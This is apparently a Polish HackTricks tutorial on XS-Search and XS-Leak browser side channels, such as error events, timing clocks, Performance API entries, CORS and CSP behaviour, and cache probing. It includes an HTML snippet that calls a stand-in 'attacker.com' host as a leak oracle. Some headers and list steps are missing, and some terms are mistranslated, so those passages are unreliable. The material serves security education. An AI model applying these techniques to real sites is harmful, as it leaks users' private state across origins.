Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.\
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe informacje
XS-Search to metoda wykorzystywana do **wydobywania informacji międzydomenowych** poprzez wykorzystanie **podatności kanałów bocznych**.
Kluczowe składniki zaangażowane w ten atak to:
* **Strona internetowa podatna**: Strona docelowa, z której ma być wydobywana informacja.
* **Strona internetowa atakującego**: Złośliwa strona internetowa stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
* **Metoda włączenia**: Technika wykorzystywana do włączenia Strony internetowej podatnej do Strony internetowej atakującego (np. window.open, iframe, fetch, tag HTML z href, itp.).
* **Technika wycieku**: Techniki używane do rozróżniania różnic w stanie Strony internetowej podatnej na podstawie informacji zebranej za pomocą metody włączenia.
* **Stany**: Dwa potencjalne warunki Strony internetowej podatnej, które atakujący ma na celu odróżnić.
* **Kod stanu**: Odróżnianie między **różnymi kodami stanu odpowiedzi HTTP** międzydomenowo, takimi jak błędy serwera, błędy klienta lub błędy uwierzytelniania.
* **Użycie interfejsu API**: Identyfikacja **użycia interfejsów API sieci Web** na stronach, ujawniająca, czy strona międzydomenowa wykorzystuje określone interfejsy API JavaScript Web.
* **Przekierowania**: Wykrywanie nawigacji do innych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
* **Zawartość strony**: Obserwowanie **zmian w treści odpowiedzi HTTP** lub w zasobach podrzędnych strony, takich jak **liczba osadzonych ramek** lub rozbieżności w rozmiarach obrazów.
* **Nagłówek HTTP**: Zauważanie obecności lub możliwej wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
* **Elementy HTML**: HTML oferuje różne elementy do **włączania zasobów międzydomenowych**, takie jak arkusze stylów, obrazy lub skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML do tego celu można znaleźć pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed osadzaniem**, JavaScript może uzyskać dostęp do obiektu okna zasobu osadzonego za pomocą właściwości contentWindow.
* **Okienka pop-up**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScriptu do interakcji z metodami i właściwościami zgodnie z SOP. Okienka pop-up, często używane w jednokrotnym logowaniu, omijają ograniczenia osadzania i plików cookie docelowego zasobu. Jednak nowoczesne przeglądarki ograniczają tworzenie okienek pop-up do określonych działań użytkownika.
* **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybór śledzenia przekierowań HTTP.
* **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługi zdarzeń takie jak **onload** i **onerror** dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobu.
* **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku bezpośrednio z komunikatu o błędzie lub poprzez różnicowanie między jego obecnością a brakiem.
* **Globalne limity**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone limity przeglądarki, mogą sygnalizować osiągnięcie progu, służąc jako technika wycieku.
* **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami przeglądarek** (np. interfejsem Historii) mogą być wykorzystane. Na przykład **liczba wpisów** w historii przeglądarki może dostarczyć wskazówek dotyczących stron międzydomenowych.
* **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioskowanie o żądanych zasobach.
* **Atrybuty do odczytu**: Niektóre atrybuty HTML są **do odczytu międzydomenowego** i mogą być wykorzystane jako technika wycieku. Na przykład właściwość `window.frame.length` pozwala JavaScriptowi zliczyć ramki osadzone na stronie międzydomenowej.
XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks** wyjaśnionych w swoim artykule: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Możesz **uzyskać dostęp do narzędzia na** [**https://xsinator.com/**](https://xsinator.com/)
**Wyłączone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **pracownikach usług** ponieważ ingerowałyby w inne wycieki w XSinatorze. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędach konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład błędy konfiguracji Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często cierpią na wolność, hałaśliwość i niedokładność.
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.\
Niektóre z poniższych technik będą wykorzystywać czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieją różne sposoby mierzenia czasu w przeglądarce internetowej.
**Zegary**: API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) umożliwia programistom uzyskanie pomiarów czasu o wysokiej rozdzielczości.\
Istnieje znaczna liczba interfejsów API, których atakujący mogą nadużyć, aby stworzyć niejawne zegary: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animacje CSS i inne.\
* **Podsumowanie**: jeśli próba załadowania zasobu wywołuje zdarzenia onerror/onload po pomyślnym/niepomyślnym załadowaniu zasobu, można ustalić kod stanu.
Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, dźwięki mogą być również używane. Ponadto możliwe jest również bezpośrednie wstrzyknięcie **tagu** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwania go z JS).
Istnieje również wersja tego ataku bez użycia skryptu:
```html
<objectdata="//example.com/404">
<objectdata="//attacker.com/?error"></object>
</object>
```
W tym przypadku, jeśli `example.com/404` nie zostanie znalezione, zostanie załadowane `attacker.com/?error`.
* **Podsumowanie:** [API **performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być użyte do zmierzenia czasu potrzebnego na wykonanie żądania. Jednak można użyć innych zegarów, takich jak [API **PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą zidentyfikować zadania działające dłużej niż 50 ms.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład w:
Ta technika jest podobna do poprzedniej, ale **atakujący** dodatkowo **wymusi** pewną akcję, która zajmie **istotny czas**, gdy **odpowiedź jest pozytywna lub negatywna**, a następnie zmierzy ten czas.
* **Podsumowanie:** [Zegar SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być użyty do zmierzenia czasu potrzebnego na wykonanie żądania. Można użyć innych zegarów.
Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie się odbywa. Różnicę czasu między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.
* **Podsumowanie:** [API **performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być użyte do zmierzenia czasu potrzebnego na wykonanie żądania. Można użyć innych zegarów.
Zauważono, że w przypadku braku [Ochrony ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej podzasobów przez sieć może być zmierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ obsługa zdarzenia `onload` ramki jest wyzwalana dopiero po zakończeniu ładowania zasobów i wykonania JavaScript. Aby ominąć zmienność wprowadzaną przez wykonanie skryptu, atakujący może użyć atrybutu [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) wewnątrz `<iframe>`. Włączenie tego atrybutu ogranicza liczne funkcjonalności, w szczególności wykonanie JavaScript, ułatwiając tym samym pomiar, który jest głównie uzależniony od wydajności sieci.
* **Podsumowanie**: Jeśli można spowodować błąd strony, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest dowolna zawartość, można utworzyć pętlę do wydobycia wszystkich informacji bez mierzenia czasu.
Możesz sprawić, że ofiara będzie szukać pliku zawierającego "_**flag**_" za pomocą **ramki** (wykorzystując na przykład CSRF). Wewnątrz ramki wiesz, że zdarzenie _**onload**_ zostanie **zawsze wykonane co najmniej raz**. Następnie możesz **zmienić****URL** ramki, zmieniając tylko **zawartość****hasła** wewnątrz URL.
Jeśli pierwszy URL został **pomyślnie załadowany**, to, gdy **zmienisz****część hasła** w URL, zdarzenie **onload****nie zostanie ponownie wywołane**. Ale **jeśli** strona miała **jakikolwiek błąd** podczas **ładowania**, wtedy zdarzenie **onload** zostanie **ponownie wywołane**.
* **Podsumowanie:** Jeśli **strona** zwraca **wrażliwą** zawartość, **lub** zawartość, którą można **kontrolować** przez użytkownika. Użytkownik może ustawić **poprawny kod JS w przypadku negatywnym**, a **każdą próbę załadować** wewnątrz znaczników **`<script>`**, więc w przypadkach **negatywnych** kod **atakującego** jest **wykonywany**, a w przypadkach **pozytywnych****nic** nie będzie wykonane.
* **Podsumowanie**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega wczytywaniu pewnych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak **Spectre**. Atakujący jednak mogą wykorzystać jego zachowanie ochronne. Gdy odpowiedź podlegająca **CORB** zwraca _**zabezpieczony przez CORB**_`Content-Type` z `nosniff` i kodem stanu `2xx`, **CORB** usuwa treść i nagłówki odpowiedzi. Atakujący obserwujący to mogą wywnioskować kombinację **kodu stanu** (wskazującego na sukces lub błąd) i `Content-Type` (określający, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
Możliwe jest **załadowanie strony** wewnątrz **ramki** i użycie **`#wartość_id`** aby skupić się na elemencie ramki z wskazanym id, a następnie, jeśli zostanie wywołany sygnał **`onblur`**, element ID istnieje.\
Możesz przeprowadzić ten sam atak za pomocą tagów **`portal`**.
* **Podsumowanie**: Zbieranie wrażliwych informacji z postMessage lub wykorzystanie obecności postMessage jako orakulum do poznania stanu użytkownika na stronie
Aplikacje często wykorzystują [`komunikaty postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może przypadkowo ujawnić **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest właściwie określony, pozwalając dowolnemu oknu na odbieranie komunikatów. Ponadto sam fakt otrzymania komunikatu może działać jak **orakulum**; na przykład pewne komunikaty mogą być wysyłane tylko do użytkowników zalogowanych. Dlatego obecność lub brak tych komunikatów może ujawnić informacje o stanie lub tożsamości użytkownika, na przykład czy są uwierzytelnieni czy nie.
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.\
Możliwe jest zidentyfikowanie, czy, i ile, **połączeń WebSocket** wykorzystuje strona docelowa. Pozwala to atakującemu wykryć stany aplikacji i wyciekać informacje związane z liczbą połączeń WebSocket.
Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączenia WebSocket**, bez względu na ich stan połączenia, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w oknie pop-up lub ramce, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę połączeń WebSocket. **Liczba wyrzuconych wyjątków** to **liczba połączeń WebSocket używanych przez stronę docelową**.
Ponieważ **tylko jedno żądanie płatności może być aktywne** w tym samym czasie, jeśli docelowa strona internetowa korzysta z interfejsu żądania płatności, wszelkie **dalsze próby użycia tego interfejsu zakończą się niepowodzeniem** i spowodują **wyjątek JavaScript**. Atakujący może wykorzystać to, **okresowo próbując pokazać interfejs API płatności**. Jeśli jedna próba powoduje wyjątek, oznacza to, że docelowa strona obecnie go używa. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.
JavaScript działa w modelu współbieżności **jednowątkowej pętli zdarzeń** oznaczającej, że **może wykonywać tylko jedno zadanie na raz**. Ta cecha może być wykorzystana do **pomiaru czasu wykonania kodu z innego źródła**. Atakujący może mierzyć czas wykonania swojego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia o stałych właściwościach. Te zdarzenia będą przetwarzane, gdy pulapka zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas potrzebny na wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich zadań**. Metoda monitorowania pętli zdarzeń w celu wykrywania opóźnień może ujawnić czas wykonania kodu z różnych źródeł, potencjalnie odsłaniając poufne informacje.
Podczas pomiaru czasu wykonania można **wyeliminować****czynniki sieciowe** w celu uzyskania **bardziej precyzyjnych pomiarów**. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem.
* **Podsumowanie:** Jedna z metod pomiaru czasu wykonania operacji internetowej polega na celowym zablokowaniu pętli zdarzeń wątku, a następnie pomiarze **czasu, jaki zajmuje pętli zdarzeń, aby ponownie stała się dostępna**. Poprzez wstawienie operacji blokującej (takiej jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorowanie czasu, jaki zajmuje rozpoczęcie kolejnego kodu, można wywnioskować czas trwania zadań wykonywanych w pętli zdarzeń podczas okresu blokowania. Ta technika wykorzystuje jednowątkową naturę pętli zdarzeń JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji na temat wydajności lub zachowania innych operacji współdzielących ten sam wątek.
Znaczącą zaletą techniki mierzenia czasu wykonania poprzez zablokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji Strony**. **Izolacja Strony** to funkcja zabezpieczająca, która separuje różne strony internetowe do oddzielnych procesów, mając na celu zapobieganie złośliwym witrynom bezpośredniego dostępu do wrażliwych danych innych stron. Jednakże, poprzez wpływanie na czas wykonania innej domeny poprzez współdzieloną pętlę zdarzeń, atakujący może pośrednio wyciągnąć informacje o działaniach tej domeny. Ta metoda nie polega na bezpośrednim dostępie do danych innej domeny, lecz obserwuje wpływ działań tej domeny na współdzieloną pętlę zdarzeń, unikając tym samym barier ochronnych ustanowionych przez **Izolację Strony**.
Podczas pomiaru czasu wykonania można **wyeliminować****czynniki sieciowe** w celu uzyskania **bardziej precyzyjnych pomiarów**. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem.
* **Podsumowanie:** Atakujący może zablokować wszystkie gniazda oprócz jednego, załadować docelową stronę internetową i jednocześnie załadować inną stronę, czas do momentu rozpoczęcia ładowania ostatniej strony to czas, jaki zajęło załadowanie strony docelowej.
Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale ze względu na ograniczone zasoby systemu operacyjnego i sprzętu, **przeglądarki są zmuszone narzucić limit** na liczbę równoczesnych gniazd. Atakujący może wykorzystać to ograniczenie poprzez następujące kroki:
1. Określenie limitu gniazd przeglądarki, na przykład 256 globalnych gniazd.
4. Próba 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce do momentu zwolnienia gniazda. Opóźnienie przed kontynuacją tego żądania dostarcza atakującemu informacje o czasie związanym z aktywnością sieciową związaną z 256. gniazdem (gniazdem strony docelowej). Wnioskowanie to jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co oznacza, że każde nowo dostępne gniazdo musi być tym, które zostało zwolnione w kroku 3. Czas potrzebny na zwolnienie 256. gniazda jest bezpośrednio związany z czasem potrzebnym na zakończenie żądania do strony docelowej.
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
[`API wydajności`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferuje wgląd w metryki wydajności aplikacji internetowych, dodatkowo wzbogacone o [`API czasów zasobów`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). API czasów zasobów umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. Warto zauważyć, że gdy serwery zawierają nagłówek `Timing-Allow-Origin: *` w swoich odpowiedziach, dodatkowe dane, takie jak rozmiar transferu i czas poszukiwania domeny, stają się dostępne.
Te bogactwo danych można pozyskać za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), zapewniając kompleksowy widok informacji związanych z wydajnością. Ponadto API ułatwia pomiar czasów wykonania poprzez obliczanie różnicy między znacznikami czasowymi uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla pewnych operacji w przeglądarkach, takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na dokładność pomiarów czasowych.
Poza pomiarami czasowymi, API wydajności można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. Konkretnie, jeśli strona jest blokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co daje subtelny wskazówkę na temat polityk ramkowania strony.
W poprzedniej technice zidentyfikowano dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie uda się je załadować**. To spowoduje wielokrotne wpisy w API wydajności i może być wykryte.
Technika została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono na niej opisu techniki. Jednak kod źródłowy sprawdzający to można znaleźć pod adresem [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ **puste strony nie tworzą wpisu wydajności w niektórych przeglądarkach**.
* **Podsumowanie:** Korzystając z Audytora XSS w Asertywności Bezpieczeństwa, atakujący mogą wykryć konkretne elementy strony internetowej, obserwując zmiany w odpowiedziach, gdy spreparowane ładunki wyzwalają mechanizm filtrowania audytora.
W Asertywności Bezpieczeństwa (SA) Audytor XSS, pierwotnie przeznaczony do zapobiegania atakom typu Cross-Site Scripting (XSS), paradoksalnie może być wykorzystany do wycieku poufnych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że Audytor XSS może przypadkowo blokować prawidłowe skrypty, prowadząc do fałszywych pozytywów. Na tej podstawie badacze opracowali techniki wydobywania informacji i wykrywania określonych treści na stronach z różnych źródeł, koncepcję znaną jako XS-Leaks, początkowo zgłoszoną przez Teradę i rozwiniętą przez Heyesa w wpisie na blogu. Chociaż te techniki były specyficzne dla Audytora XSS w GC, odkryto, że w SA strony zablokowane przez Audytora XSS nie generują wpisów w API wydajności, ujawniając metodę wycieku poufnych informacji.
Jeśli strona **nie może** być **renderowana** w **ramce**, nie tworzy **wpisu wydajności**. W rezultacie atakujący mogą wykryć nagłówek odpowiedzi **`X-Frame-Options`**.\
Podobnie jak opisany XS-Leak, **zasób pobrany** z powodu nagłówka ContentDisposition, również nie tworzy **wpisu wydajności**. Ta technika działa we wszystkich głównych przeglądarkach.
Znaleźliśmy jedno wystąpienie XS-Leak, które nadużywa zachowania niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań międzydomenowych. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów międzydomenowych. Jednakże, w **SA** jest możliwe wykrycie, czy użytkownik jest **przekierowany** przez stronę docelową, poprzez zapytanie **API Performance** i sprawdzenie danych czasowych **redirectStart**.
W GC, **czas trwania** dla żądań, które skutkują **przekierowaniem**, jest **ujemny** i można je zatem **rozróżnić** od żądań, które nie skutkują przekierowaniem.
W niektórych przypadkach, wpis **nextHopProtocol** może być używany jako technika wycieku. W GC, gdy ustawiony jest nagłówek **CORP**, wartość **nextHopProtocol** będzie **pusta**. Zauważ, że SA w ogóle nie utworzy wpisu wydajnościowego dla zasobów z włączonym CORP.
Pracownicy usługi są kontekstami skryptowymi sterowanymi zdarzeniami, które działają w określonym źródle. Działają one w tle strony internetowej i mogą przechwytywać, modyfikować i **buforować zasoby**, aby tworzyć aplikacje internetowe offline.\
Jeśli **zasób zbuforowany** przez **pracownika usługi** jest dostępny poprzez **ramkę**, zasób zostanie **załadowany z bufora pracownika usługi**.\
Ta technika umożliwia atakującemu **wydobycie celu przekierowania strony z innego pochodzenia** poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy **żądanie z włączonym CORS** jest wysyłane do strony docelowej, która przekierowuje na podstawie stanu użytkownika, a przeglądarka następnie odmawia żądania, **pełny adres URL docelowego przekierowania** jest ujawniany w komunikacie błędu. Ta podatność nie tylko ujawnia fakt przekierowania, ale także eksponuje punkt końcowy przekierowania oraz ewentualne **czułe parametry zapytania**, które może zawierać.
Atakujący może wykorzystać **rozszerzone komunikaty błędów** do wywnioskowania rozmiaru odpowiedzi z innych źródeł. Jest to możliwe dzięki mechanizmowi Integralności Podzasobów (SRI), który używa atrybutu integralności do weryfikacji, czy zasoby pobrane, często z CDN-ów, nie zostały sfałszowane. Aby SRI działało na zasobach z innych źródeł, muszą być **włączone CORS**; w przeciwnym razie nie podlegają one sprawdzaniu integralności. W twierdzeniach dotyczących bezpieczeństwa (SA), podobnie jak w błędzie CORS XS-Leak, komunikat błędu może być przechwycony po nieudanym żądaniu pobrania z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość skrótu** do atrybutu integralności dowolnego żądania. W SA, rezultujący komunikat błędu niechcący ujawnia długość zawartości żądanego zasobu. To wyciek informacji pozwala atakującemu rozpoznać różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.
XS-Leak może wykorzystać CSP do wykrycia, czy strona z innego pochodzenia została przekierowana na inną domenę. Ten wyciek może wykryć przekierowanie, ale dodatkowo ujawnia domenę docelową przekierowania. Podstawowym pomysłem tego ataku jest **zezwolenie na domenę docelową na stronie atakującego**. Gdy żądanie jest kierowane do domeny docelowej, **następuje przekierowanie** na stronę z innego pochodzenia. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki, **ten raport może ujawnić lokalizację docelową przekierowania**.\
Nowoczesne przeglądarki nie wskażą adresu URL, na który nastąpiło przekierowanie, ale nadal można wykryć, że zostało ono uruchomione z innego pochodzenia.
Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Bez względu na ich pochodzenie, można wywnioskować, czy strona docelowa **żądała określonego pliku**.
Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić****zasób** (aby nie był już w pamięci podręcznej, patrz więcej informacji), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referera). Jeśli załadowanie zasobu **nie spowodowało żadnego błędu**, oznacza to, że był **w pamięci podręcznej**.
Nowa funkcja w Google Chrome (GC) pozwala stronie internetowej **zaproponować politykę bezpieczeństwa zawartości (CSP)** poprzez ustawienie atrybutu na elemencie ramki, a dyrektywy polityki są przesyłane wraz z żądaniem HTTP. Zazwyczaj osadzona zawartość musi **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie wyświetlana jest **strona błędu**. Jednak jeśli ramka jest już objęta CSP, a nowo proponowana polityka nie jest bardziej restrykcyjna, strona załaduje się normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrywania konkretnych dyrektyw CSP** strony z innego pochodzenia poprzez identyfikację strony błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.
Nagłówek CORP to stosunkowo nowa funkcja bezpieczeństwa platformy internetowej, która gdy jest ustawiona **blokuje żądania z innego pochodzenia no-cors do określonego zasobu**. Obecność tego nagłówka może być wykryta, ponieważ zasób zabezpieczony za pomocą CORP spowoduje **błąd podczas pobierania**.
Sprawdź link, aby uzyskać więcej informacji na temat ataku.
### Błąd CORS na nieprawidłowej konfiguracji odbicia pochodzenia <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
* **Podsumowanie**: Jeśli nagłówek Origin jest odbijany w nagłówku `Access-Control-Allow-Origin`, możliwe jest sprawdzenie, czy zasób jest już w pamięci podręcznej.
W przypadku gdy **nagłówek Origin** jest **odbijany** w nagłówku `Access-Control-Allow-Origin`, atakujący może wykorzystać to zachowanie, aby spróbować **pobrać** zasób w trybie **CORS**. Jeśli **błąd nie jest wywołany**, oznacza to, że zasób został **poprawnie pobrany z sieci**, jeśli błąd jest **wywołany**, oznacza to, że został **pobrany z pamięci podręcznej** (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie na domenę atakującego).\
Przesyłając żądanie za pomocą Fetch API z `redirect: "manual"` i innymi parametrami, możliwe jest odczytanie atrybutu `response.type`, a jeśli jest równy `opaqueredirect`, oznacza to, że odpowiedź była przekierowaniem.
Atakujący jest w stanie wywnioskować obecność nagłówka Cross-Origin Opener Policy (COOP) w odpowiedzi HTTP z innego pochodzenia. COOP jest wykorzystywany przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskania arbitralnych odwołań do okien. Widoczność tego nagłówka można zauważyć poprzez próbę dostępu do **referencji contentWindow**. W przypadkach, gdy COOP jest stosowany warunkowo, **właściwość opener** staje się wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywny, a **zdefiniowana** w jego braku.
* **Podsumowanie:** Wykrywanie różnic w odpowiedziach z powodu przekroczenia długości odpowiedzi przekierowania, co może spowodować generowanie błędu i alertu.
Jeśli przekierowanie po stronie serwera wykorzystuje **dane użytkownika wewnątrz przekierowania** i **dodatkowe dane**, możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają tę **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to **błąd wykrywalny za pomocą zdarzeń błędów**.
Jeśli uda ci się w jakiś sposób ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą ilość ciasteczek** ([**bombę ciasteczkową**](../hacking-with-cookies/cookie-bomb.md)), aby w przypadku **zwiększonej wielkości odpowiedzi****poprawnej odpowiedzi** został wywołany **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Przykład **bomby ciasteczkowej + XS-Search** można znaleźć w zamierzonym rozwiązaniu tego opisu: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
Zgodnie z [dokumentacją Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), maksymalna długość URL w Chrome wynosi 2 MB.
